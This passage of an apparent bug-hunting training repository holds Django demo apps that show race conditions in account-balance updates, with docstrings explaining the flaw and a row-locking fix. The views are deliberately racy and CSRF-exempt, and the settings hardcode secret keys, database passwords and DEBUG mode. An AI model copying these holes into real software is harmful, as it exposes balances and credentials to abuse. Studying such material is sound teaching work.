int(request.POST["amount"]) 43 | if amount < 0: 44 | raise ValueError 45 | except (KeyError, ValueError): 46 | return HttpResponse(status=400) 47 | 48 | with transaction.atomic(): 49 | try: 50 | # Possibly reading stale data: 51 | account = Account.objects.get(id=account_id) 52 | except Account.DoesNotExist: 53 | return HttpResponse(status=404) 54 | # Enough time for another request to be made or for the data read to 55 | # become stale: 56 | random_delay() 57 | account.balance += amount 58 | Transaction.objects.create(account=account, amount=amount) # Ok. 59 | account.save() # Overwritting possible. 60 | 61 | return HttpResponse(200) 62 | 63 | 64 | @csrf_exempt 65 | def non_atomic_long_delay(request: HttpRequest) -> HttpResponse: 66 | """ 67 | This is more or less the same as atomic_long_delay. The only difference is 68 | that now the delay is between when we read v/s when we write instead of 69 | when we read v/s when we commit the transaction. 70 | 71 | In both of these examples we write at the very end of the transaction, so 72 | really, both of these functions are the exact same. I want to show that 73 | atomic transactions the real issue here - it's the delay b/w read and save. 74 | """ 75 | try: 76 | account_id = int(request.POST["account"]) 77 | amount = int(request.POST["amount"]) 78 | if amount < 0: 79 | raise ValueError 80 | except (KeyError, ValueError): 81 | return HttpResponse(status=400) 82 | 83 | try: 84 | account = Account.objects.get(id=account_id) 85 | except Account.DoesNotExist: 86 | return HttpResponse(status=404) 87 | random_delay() 88 | account.balance += amount 89 | Transaction.objects.create(account=account, amount=amount) 90 | account.save() 91 | 92 | return HttpResponse(200) 93 | 94 | 95 | @csrf_exempt 96 | def atomic_no_delay(request: HttpRequest) -> HttpResponse: 97 | """ 98 | Due to the absence of a large delay, the window for the race condition to 99 | occur is considerably reduced and you would need the request frequency to 100 | be much higher (and with more gunicorn workers to handle them in parallel) 101 | for a race condition to be triggered. 102 | 103 | Race conditions are now unlikely to occur but still very much possible. 104 | 105 | If you're only using 1 sync gunicorn worker then race conditions are not 106 | possible just like in the atomic_long_delay example; but you'll have 107 | terrible throughput and most requests would probably time out during high 108 | load. 109 | """ 110 | try: 111 | account_id = int(request.POST["account"]) 112 | amount = int(request.POST["amount"]) 113 | if amount < 0: 114 | raise ValueError 115 | except (KeyError, ValueError): 116 | return HttpResponse(status=400) 117 | 118 | with transaction.atomic(): 119 | try: 120 | account = Account.objects.get(id=account_id) 121 | except Account.DoesNotExist: 122 | return HttpResponse(status=404) 123 | account.balance += amount 124 | Transaction.objects.create(account=account, amount=amount) 125 | account.save() 126 | 127 | return HttpResponse(200) 128 | 129 | 130 | @csrf_exempt 131 | def non_atomic_no_delay(request: HttpRequest) -> HttpResponse: 132 | """ 133 | Effectively the same as atomic_no_delay. Just like how atomic_long_delay 134 | and non_atomic_long_delay are effectively the same. 135 | """ 136 | try: 137 | account_id = int(request.POST["account"]) 138 | amount = int(request.POST["amount"]) 139 | if amount < 0: 140 | raise ValueError 141 | except (KeyError, ValueError): 142 | return HttpResponse(status=400) 143 | 144 | try: 145 | account = Account.objects.get(id=account_id) 146 | except Account.DoesNotExist: 147 | return HttpResponse(status=404) 148 | account.balance += amount 149 | Transaction.objects.create(account=account, amount=amount) 150 | account.save() 151 | 152 | return HttpResponse(200) 153 | 154 | 155 | @csrf_exempt 156 | def row_locking_atomic_long_delay(request: HttpRequest) -> HttpResponse: 157 | """ 158 | Here we demonstrate that even if we did have a long delay between when we 159 | read v/s when we commit the transaction, if we lock the row we are 160 | operating on, then race conditions will never occur. 161 | 162 | This isn't a silver bullet since by locking the row we're preventing every 163 | other endpoint depending on it from working (even the read-only endpoints). 164 | This could cause serious issues if the row is needed in multiple endpoints. 165 | 166 | select_for_update cannot be used outside of an SQL transaction (so atomic 167 | is necessary). 168 | 169 | Race conditions are now impossible. 170 | """ 171 | try: 172 | account_id = int(request.POST["account"]) 173 | amount = int(request.POST["amount"]) 174 | if amount < 0: 175 | raise ValueError 176 | except (KeyError, ValueError): 177 | return HttpResponse(status=400) 178 | 179 | with transaction.atomic(): 180 | try: 181 | account = Account.objects.select_for_update().get(id=account_id) 182 | except Account.DoesNotExist: 183 | return HttpResponse(status=404) 184 | random_delay() 185 | account.balance += amount 186 | Transaction.objects.create(account=account, amount=amount) 187 | account.save() 188 | 189 | return HttpResponse(200) 190 | -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_live/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_live/__init__.py -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_live/__pycache__/__init__.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_live/__pycache__/__init__.cpython-310.pyc -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_live/__pycache__/settings.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_live/__pycache__/settings.cpython-310.pyc -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_live/__pycache__/urls.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_live/__pycache__/urls.cpython-310.pyc -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_live/__pycache__/wsgi.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/race_live/race_live/__pycache__/wsgi.cpython-310.pyc -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_live/asgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | ASGI config for race_live project. 3 | 4 | It exposes the ASGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/4.0/howto/deployment/asgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.asgi import get_asgi_application 13 | 14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'race_live.settings') 15 | 16 | application = get_asgi_application() 17 | -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_live/settings.py: -------------------------------------------------------------------------------- 1 | """ 2 | Django settings for race_live project. 3 | 4 | Generated by 'django-admin startproject' using Django 4.0.6. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/4.0/topics/settings/ 8 | 9 | For the full list of settings and their values, see 10 | https://docs.djangoproject.com/en/4.0/ref/settings/ 11 | """ 12 | 13 | from pathlib import Path 14 | 15 | # Build paths inside the project like this: BASE_DIR / 'subdir'. 16 | BASE_DIR = Path(__file__).resolve().parent.parent 17 | 18 | 19 | # Quick-start development settings - unsuitable for production 20 | # See https://docs.djangoproject.com/en/4.0/howto/deployment/checklist/ 21 | 22 | # SECURITY WARNING: keep the secret key used in production secret! 23 | SECRET_KEY = 'django-insecure-z#cmjco0@lfia6b!_)j90g5okho9dc^od9xh5(ybtz)ij+y25(' 24 | 25 | # SECURITY WARNING: don't run with debug turned on in production! 26 | DEBUG = True 27 | 28 | ALLOWED_HOSTS = ["*"] 29 | 30 | 31 | # Application definition 32 | 33 | INSTALLED_APPS = [ 34 | 'django.contrib.admin', 35 | 'django.contrib.auth', 36 | 'django.contrib.contenttypes', 37 | 'django.contrib.sessions', 38 | 'django.contrib.messages', 39 | 'django.contrib.staticfiles', 40 | 'race_app' 41 | ] 42 | 43 | MIDDLEWARE = [ 44 | 'django.middleware.security.SecurityMiddleware', 45 | 'django.contrib.sessions.middleware.SessionMiddleware', 46 | 'django.middleware.common.CommonMiddleware', 47 | 'django.middleware.csrf.CsrfViewMiddleware', 48 | 'django.contrib.auth.middleware.AuthenticationMiddleware', 49 | 'django.contrib.messages.middleware.MessageMiddleware', 50 | 'django.middleware.clickjacking.XFrameOptionsMiddleware', 51 | ] 52 | 53 | ROOT_URLCONF = 'race_live.urls' 54 | 55 | TEMPLATES = [ 56 | { 57 | 'BACKEND': 'django.template.backends.django.DjangoTemplates', 58 | 'DIRS': [BASE_DIR / 'templates'] 59 | , 60 | 'APP_DIRS': True, 61 | 'OPTIONS': { 62 | 'context_processors': [ 63 | 'django.template.context_processors.debug', 64 | 'django.template.context_processors.request', 65 | 'django.contrib.auth.context_processors.auth', 66 | 'django.contrib.messages.context_processors.messages', 67 | ], 68 | }, 69 | }, 70 | ] 71 | 72 | WSGI_APPLICATION = 'race_live.wsgi.application' 73 | 74 | 75 | # Database 76 | # https://docs.djangoproject.com/en/4.0/ref/settings/#databases 77 | 78 | DATABASES = { 79 | 80 | 'default': { 81 | 'ENGINE': 'django.db.backends.postgresql_psycopg2', 82 | 'NAME': "postgres", 83 | 'USER': "postgres", 84 | 'PASSWORD': 'password', 85 | 'HOST': '127.0.0.1', 86 | 'PORT': '5432', 87 | 88 | } 89 | 90 | } 91 | # Password validation 92 | # https://docs.djangoproject.com/en/4.0/ref/settings/#auth-password-validators 93 | 94 | AUTH_PASSWORD_VALIDATORS = [ 95 | { 96 | 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', 97 | }, 98 | { 99 | 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', 100 | }, 101 | { 102 | 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', 103 | }, 104 | { 105 | 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', 106 | }, 107 | ] 108 | 109 | 110 | # Internationalization 111 | # https://docs.djangoproject.com/en/4.0/topics/i18n/ 112 | 113 | LANGUAGE_CODE = 'en-us' 114 | 115 | TIME_ZONE = 'UTC' 116 | 117 | USE_I18N = True 118 | 119 | USE_TZ = True 120 | 121 | 122 | # Static files (CSS, JavaScript, Images) 123 | # https://docs.djangoproject.com/en/4.0/howto/static-files/ 124 | 125 | STATIC_URL = 'static/' 126 | 127 | # Default primary key field type 128 | # https://docs.djangoproject.com/en/4.0/ref/settings/#default-auto-field 129 | 130 | DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField' 131 | -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_live/urls.py: -------------------------------------------------------------------------------- 1 | """race_live URL Configuration 2 | 3 | The `urlpatterns` list routes URLs to views. For more information please see: 4 | https://docs.djangoproject.com/en/4.0/topics/http/urls/ 5 | Examples: 6 | Function views 7 | 1. Add an import: from my_app import views 8 | 2. Add a URL to urlpatterns: path('', views.home, name='home') 9 | Class-based views 10 | 1. Add an import: from other_app.views import Home 11 | 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') 12 | Including another URLconf 13 | 1. Import the include() function: from django.urls import include, path 14 | 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) 15 | """ 16 | from django.contrib import admin 17 | from django.urls import path 18 | from race_app.views import * 19 | 20 | urlpatterns = [ 21 | path('admin/', admin.site.urls), 22 | path('novuls', non_atomic_no_delay), 23 | ] 24 | -------------------------------------------------------------------------------- /race_condition/race_app/race_live/race_live/wsgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | WSGI config for race_live project. 3 | 4 | It exposes the WSGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/4.0/howto/deployment/wsgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.wsgi import get_wsgi_application 13 | 14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'race_live.settings') 15 | 16 | application = get_wsgi_application() 17 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/.env: -------------------------------------------------------------------------------- 1 | COMPOSE_PROJECT_NAME=racy 2 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/.gitignore: -------------------------------------------------------------------------------- 1 | # Directories: 2 | .vscode/ 3 | static/ 4 | __pycache__/ 5 | 6 | # Static: 7 | *.swp 8 | *.pyc -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | # Datasource local storage ignored files 5 | /dataSources/ 6 | /dataSources.local.xml 7 | # Editor-based HTTP Client requests 8 | /httpRequests/ 9 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/.idea/inspectionProfiles/Project_Default.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 24 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/.idea/inspectionProfiles/profiles_settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/.idea/racy-django.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 14 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/config/django.env: -------------------------------------------------------------------------------- 1 | DJANGO_SECRET_KEY="_#hvs!_k_9@xc6e9y7dx1c(v66e00)^r$+%1m#)!l)4!vjh=o#" 2 | GUNICORN_WORKERS=3 3 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/config/mysql.env: -------------------------------------------------------------------------------- 1 | MYSQL_DATABASE=project 2 | MYSQL_ROOT_PASSWORD=8hZ7LhDQ3HZkyyjS 3 | MYSQL_USER=django 4 | MYSQL_PASSWORD=CLwsJrebTb6e6KjU 5 | MYSQL_HOST=db 6 | MYSQL_PORT=3306 7 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/config/nginx.conf: -------------------------------------------------------------------------------- 1 | upstream application_server { 2 | server app:8000; 3 | } 4 | 5 | server { 6 | listen 80; 7 | server_name app.ir; 8 | 9 | location / { 10 | proxy_pass http://application_server; 11 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 12 | proxy_set_header Host $host; 13 | proxy_redirect off; 14 | 15 | } 16 | 17 | location /static/ { 18 | alias /srv/; 19 | } 20 | } 21 | 22 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.8" 2 | 3 | services: 4 | db: 5 | image: "mysql:5.7" 6 | restart: "always" 7 | env_file: 8 | - "config/mysql.env" 9 | expose: 10 | - "3306" 11 | volumes: 12 | - "db:/var/lib/mysql" 13 | 14 | app: 15 | build: "project/" 16 | env_file: 17 | - "config/mysql.env" 18 | - "config/django.env" 19 | expose: 20 | - "8000" 21 | volumes: 22 | - "./project:/usr/src/app" 23 | depends_on: 24 | - "db" 25 | 26 | server: 27 | image: "nginx:1.19-alpine" 28 | restart: "always" 29 | ports: 30 | - "80:80" 31 | volumes: 32 | - "./project/static:/srv" 33 | - "./config/nginx.conf:/etc/nginx/conf.d/default.conf" 34 | depends_on: 35 | - "app" 36 | # We might need to look into using something like wait-for to wait for 37 | # gunicorn to start serving on port 8000. Since this isn't leading to 38 | # crashing anything, for the time being I'll just live with waiting a 39 | # few seconds myself. 40 | 41 | volumes: 42 | db: 43 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/project/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8 2 | ENV PYTHONUNBUFFERED 1 3 | ENV PYTHONIOENCODING UTF-8 4 | 5 | WORKDIR /usr/src/app 6 | COPY . . 7 | RUN pip install -r requirements.txt 8 | EXPOSE 8000 9 | CMD ["sh", "scripts/entrypoint.sh" ] 10 | 11 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/project/demo/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/racy-django/project/demo/__init__.py -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/project/demo/admin.py: -------------------------------------------------------------------------------- 1 | from django.contrib import admin 2 | 3 | from .models import Account, Transaction 4 | 5 | 6 | class TransactionInline(admin.TabularInline): 7 | extra = 0 8 | model = Transaction 9 | 10 | 11 | class AccountAdmin(admin.ModelAdmin): 12 | inlines = [TransactionInline] 13 | 14 | 15 | admin.site.register(Transaction) 16 | admin.site.register(Account, AccountAdmin) 17 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/project/demo/apps.py: -------------------------------------------------------------------------------- 1 | from django.apps import AppConfig 2 | 3 | 4 | class DemoConfig(AppConfig): 5 | name: str = "demo" 6 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/project/demo/migrations/0001_initial.py: -------------------------------------------------------------------------------- 1 | # Generated by Django 3.1.5 on 2021-01-17 13:00 2 | 3 | from django.db import migrations, models 4 | import django.db.models.deletion 5 | 6 | 7 | class Migration(migrations.Migration): 8 | 9 | initial = True 10 | 11 | dependencies = [ 12 | ] 13 | 14 | operations = [ 15 | migrations.CreateModel( 16 | name='Account', 17 | fields=[ 18 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 19 | ('balance', models.IntegerField(default=0)), 20 | ], 21 | ), 22 | migrations.CreateModel( 23 | name='Transaction', 24 | fields=[ 25 | ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), 26 | ('amount', models.IntegerField(default=0)), 27 | ('timestamp', models.DateTimeField(auto_now=True)), 28 | ('account', models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='demo.account')), 29 | ], 30 | ), 31 | ] 32 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/project/demo/migrations/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/racy-django/project/demo/migrations/__init__.py -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/project/demo/models.py: -------------------------------------------------------------------------------- 1 | from django.db import models 2 | 3 | 4 | class Account(models.Model): 5 | balance = models.IntegerField(default=0) 6 | 7 | def __str__(self): 8 | return f"Account #{self.id}" 9 | 10 | class Transaction(models.Model): 11 | account = models.ForeignKey(Account, on_delete=models.SET_NULL, null=True) 12 | amount = models.IntegerField(default=0) 13 | timestamp = models.DateTimeField(auto_now=True) 14 | 15 | def __str__(self): 16 | return f"<{self.account_id}, {self.amount}, {self.timestamp.isoformat()}>" 17 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/project/demo/urls.py: -------------------------------------------------------------------------------- 1 | 2 | from django.urls import path 3 | 4 | from . import views 5 | 6 | urlpatterns = [ 7 | path("atomic_long_delay/", views.atomic_long_delay), 8 | path("non_atomic_long_delay/", views.non_atomic_long_delay), 9 | path("atomic_no_delay/", views.atomic_no_delay), 10 | path("non_atomic_no_delay/", views.non_atomic_no_delay), 11 | path("row_locking_atomic_long_delay/", views.row_locking_atomic_long_delay), 12 | ] -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/project/demo/views.py: -------------------------------------------------------------------------------- 1 | import random 2 | import time 3 | 4 | from django.db import transaction 5 | from django.http import HttpRequest, HttpResponse 6 | # Only because this is a quick and simple demo 7 | from django.views.decorators.csrf import csrf_exempt 8 | 9 | from .models import Account, Transaction 10 | 11 | 12 | def random_delay() -> int: 13 | # Simulate random factors such as processing and validating the data, and 14 | # this one stupid network call that I was making for realtime related stuff 15 | # (which should have been put in a queue and delegated to a worker process). 16 | time.sleep(random.randint(3, 10)) 17 | 18 | 19 | @csrf_exempt 20 | def atomic_long_delay(request: HttpRequest) -> HttpResponse: 21 | """ 22 | In this example, we: 23 | - Use an atomic code block 24 | - Introduce a long (possibly random) time gap between when we read 25 | v/s when we commit the transaction (end of the atomic code block). 26 | - Don't use row locking. 27 | 28 | In this case if we have more than 1 (sync) gunicorn worker running and 29 | the frequency of requests to this endpoint (or any endpoint modifying the 30 | account balance) is greater than the time it takes for the atomic code 31 | block to run, then we can expect race conditions to occur. 32 | 33 | Typically, these kinds of things won't be found in development (unless you 34 | have really experienced dev teams with good code review skills). 35 | 36 | Note: We are not using using F() expressions due to complexities in the 37 | business logic. The random_delay represents processing the data related 38 | to the account and the request. During this time, we really don't want 39 | anything else to be using the account data (due to the risk of reading 40 | stale data). 41 | """ 42 | try: 43 | account_id = int(request.POST["account"]) 44 | amount = int(request.POST["amount"]) 45 | if amount < 0: 46 | raise ValueError 47 | except (KeyError, ValueError): 48 | return HttpResponse(status=400) 49 | 50 | with transaction.atomic(): 51 | try: 52 | # Possibly reading stale data: 53 | account = Account.objects.get(id=account_id) 54 | except Account.DoesNotExist: 55 | return HttpResponse(status=404) 56 | # Enough time for another request to be made or for the data read to 57 | # become stale: 58 | random_delay() 59 | account.balance += amount 60 | Transaction.objects.create(account=account, amount=amount) # Ok. 61 | account.save() # Overwritting possible. 62 | 63 | return HttpResponse(200) 64 | 65 | 66 | @csrf_exempt 67 | def non_atomic_long_delay(request: HttpRequest) -> HttpResponse: 68 | """ 69 | This is more or less the same as atomic_long_delay. The only difference is 70 | that now the delay is between when we read v/s when we write instead of 71 | when we read v/s when we commit the transaction. 72 | 73 | In both of these examples we write at the very end of the transaction, so 74 | really, both of these functions are the exact same. I want to show that 75 | atomic transactions the real issue here - it's the delay b/w read and save. 76 | """ 77 | try: 78 | account_id = int(request.POST["account"]) 79 | amount = int(request.POST["amount"]) 80 | if amount < 0: 81 | raise ValueError 82 | except (KeyError, ValueError): 83 | return HttpResponse(status=400) 84 | 85 | try: 86 | account = Account.objects.get(id=account_id) 87 | except Account.DoesNotExist: 88 | return HttpResponse(status=404) 89 | random_delay() 90 | account.balance += amount 91 | Transaction.objects.create(account=account, amount=amount) 92 | account.save() 93 | 94 | return HttpResponse(200) 95 | 96 | 97 | @csrf_exempt 98 | def atomic_no_delay(request: HttpRequest) -> HttpResponse: 99 | """ 100 | Due to the absence of a large delay, the window for the race condition to 101 | occur is considerably reduced and you would need the request frequency to 102 | be much higher (and with more gunicorn workers to handle them in parallel) 103 | for a race condition to be triggered. 104 | 105 | Race conditions are now unlikely to occur but still very much possible. 106 | 107 | If you're only using 1 sync gunicorn worker then race conditions are not 108 | possible just like in the atomic_long_delay example; but you'll have 109 | terrible throughput and most requests would probably time out during high 110 | load. 111 | """ 112 | try: 113 | account_id = int(request.POST["account"]) 114 | amount = int(request.POST["amount"]) 115 | if amount < 0: 116 | raise ValueError 117 | except (KeyError, ValueError): 118 | return HttpResponse(status=400) 119 | 120 | with transaction.atomic(): 121 | try: 122 | account = Account.objects.get(id=account_id) 123 | except Account.DoesNotExist: 124 | return HttpResponse(status=404) 125 | account.balance += amount 126 | Transaction.objects.create(account=account, amount=amount) 127 | account.save() 128 | 129 | return HttpResponse(200) 130 | 131 | 132 | @csrf_exempt 133 | def non_atomic_no_delay(request: HttpRequest) -> HttpResponse: 134 | """ 135 | Effectively the same as atomic_no_delay. Just like how atomic_long_delay 136 | and non_atomic_long_delay are effectively the same. 137 | """ 138 | try: 139 | account_id = int(request.POST["account"]) 140 | amount = int(request.POST["amount"]) 141 | if amount < 0: 142 | raise ValueError 143 | except (KeyError, ValueError): 144 | return HttpResponse(status=400) 145 | 146 | try: 147 | account = Account.objects.get(id=account_id) 148 | except Account.DoesNotExist: 149 | return HttpResponse(status=404) 150 | account.balance += amount 151 | Transaction.objects.create(account=account, amount=amount) 152 | account.save() 153 | 154 | return HttpResponse(200) 155 | 156 | 157 | @csrf_exempt 158 | def row_locking_atomic_long_delay(request: HttpRequest) -> HttpResponse: 159 | """ 160 | Here we demonstrate that even if we did have a long delay between when we 161 | read v/s when we commit the transaction, if we lock the row we are 162 | operating on, then race conditions will never occur. 163 | 164 | This isn't a silver bullet since by locking the row we're preventing every 165 | other endpoint depending on it from working (even the read-only endpoints). 166 | This could cause serious issues if the row is needed in multiple endpoints. 167 | 168 | select_for_update cannot be used outside of an SQL transaction (so atomic 169 | is necessary). 170 | 171 | Race conditions are now impossible. 172 | """ 173 | try: 174 | account_id = int(request.POST["account"]) 175 | amount = int(request.POST["amount"]) 176 | if amount < 0: 177 | raise ValueError 178 | except (KeyError, ValueError): 179 | return HttpResponse(status=400) 180 | 181 | with transaction.atomic(): 182 | try: 183 | account = Account.objects.select_for_update().get(id=account_id) 184 | except Account.DoesNotExist: 185 | return HttpResponse(status=404) 186 | random_delay() 187 | account.balance += amount 188 | Transaction.objects.create(account=account, amount=amount) 189 | account.save() 190 | 191 | return HttpResponse(200) 192 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/project/manage.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """Django's command-line utility for administrative tasks.""" 3 | import os 4 | import sys 5 | 6 | 7 | def main(): 8 | """Run administrative tasks.""" 9 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'project.settings') 10 | try: 11 | from django.core.management import execute_from_command_line 12 | except ImportError as exc: 13 | raise ImportError( 14 | "Couldn't import Django. Are you sure it's installed and " 15 | "available on your PYTHONPATH environment variable? Did you " 16 | "forget to activate a virtual environment?" 17 | ) from exc 18 | execute_from_command_line(sys.argv) 19 | 20 | 21 | if __name__ == '__main__': 22 | main() 23 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/project/project/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ravro-ir/golang_bug_hunting/581a906f415d43f972c04bd6ee075f66f79afc7d/race_condition/race_app/racy-django/project/project/__init__.py -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/project/project/asgi.py: -------------------------------------------------------------------------------- 1 | """ 2 | ASGI config for project project. 3 | 4 | It exposes the ASGI callable as a module-level variable named ``application``. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/3.1/howto/deployment/asgi/ 8 | """ 9 | 10 | import os 11 | 12 | from django.core.asgi import get_asgi_application 13 | 14 | os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'project.settings') 15 | 16 | application = get_asgi_application() 17 | -------------------------------------------------------------------------------- /race_condition/race_app/racy-django/project/project/settings.py: -------------------------------------------------------------------------------- 1 | """ 2 | Django settings for project project. 3 | 4 | Generated by 'django-admin startproject' using Django 3.1.5. 5 | 6 | For more information on this file, see 7 | https://docs.djangoproject.com/en/3.1/topics/settings/ 8 | 9 | For the full list of settings and their values, see 10 | https://docs.djangoproject.com/en/3.1/ref/settings/ 11 | """ 12 | 13 | import os 14 | from pathlib import Path 15 | 16 | # Build paths inside the project like this: BASE_DIR / 'subdir'. 17 | BASE_DIR = Path(__file__).resolve().parent.parent 18 | 19 | 20 | # Quick-start development settings - unsuitable for production 21 | # See https://docs.djangoproject.com/en/3.1/howto/deployment/checklist/ 22 | 23 | # SECURITY WARNING: keep the secret key used in production secret! 24 | SECRET_KEY = os.environ['DJANGO_SECRET_KEY'] 25 | 26 | # SECURITY WARNING: don't run with debug turned on in production! 27 | DEBUG = True 28 | 29 | ALLOWED_HOSTS = [] 30 | 31 | 32 | # Application definition 33 | 34 | INSTALLED_APPS = [ 35 | 'django.contrib.admin', 36 | 'django.contrib.auth', 37 | 'django.contrib.contenttypes', 38 | 'django.contrib.sessions', 39 | 'django.contrib.messages', 40 | 'django.contrib.staticfiles', 41 | 'demo', 42 | ] 43 | 44 | MIDDLEWARE = [ 45 | 'django.middleware.security.SecurityMiddleware', 46 | 'django.contrib.sessions.middleware.SessionMiddleware', 47 | 'django.middleware.common.CommonMiddleware', 48 | 'django.middleware.csrf.CsrfViewMiddleware', 49 | 'django.contrib.auth.middleware.AuthenticationMiddleware', 50 | 'django.contrib.messages.middleware.MessageMiddleware', 51 | 'django.middleware.clickjacking.XFrameOptionsMiddleware', 52 | ] 53 | 54 | ROOT_URLCONF = 'project.urls' 55 | 56 | TEMPLATES = [ 57 | { 58 | 'BACKEND': 'django.template.backends.django.DjangoTemplates', 59 | 'DIRS': [], 60 | 'APP_DIRS': True, 61 | 'OPTIONS': { 62 | 'context_processors': [ 63 | 'django.template.context_processors.debug', 64 | 'django.template.context_processors.request', 65 | 'django.contrib.auth.context_processors.auth', 66 | 'django.contrib.messages.context_processors.messages', 67 | ], 68 | }, 69 | }, 70 | ] 71 | 72 | WSGI_APPLICATION = 'project.wsgi.application' 73 | 74 | 75 | # Database 76 | # https://docs.djangoproject.com/en/3.1/ref/settings/#databases 77 | 78 | DATABASES = { 79 | 'default': { 80 | 'ENGINE': 'django.db.backends.mysql', 81 | 'NAME': os.environ["MYSQL_DATABASE"], 82 | 'USER': os.environ["MYSQL_USER"], 83 | 'PASSWORD': os.environ["MYSQL_PASSWORD"], 84 | 'HOST': os.environ["MYSQL_HOST"], 85 | 'PORT': os.environ["MYSQL_PORT"], 86 | } 87 | } 88 | 89 | 90 | # Password validation 91 | # https://docs.djangoproject.com/en/3.1/ref/settings/#auth-password-validators 92 | 93 | AUTH_PASSWORD_VALIDATORS = [ 94 | { 95 | 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', 96 | }, 97 | { 98 | 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', 99 | }, 100 | { 101 | 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', 102 | }, 103 | { 104 | 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', 105 | }, 106 | ] 107 | 108 | 109 | # Internationalization 110 | # https://docs.djangoproject.com/en/3.1/topics/i18n/ 111 | 112 | LANGUAGE_CODE = 'en-us' 113 | 114 | TIME_ZONE = 'UTC' 115 | 116 | USE_I18N = True 117 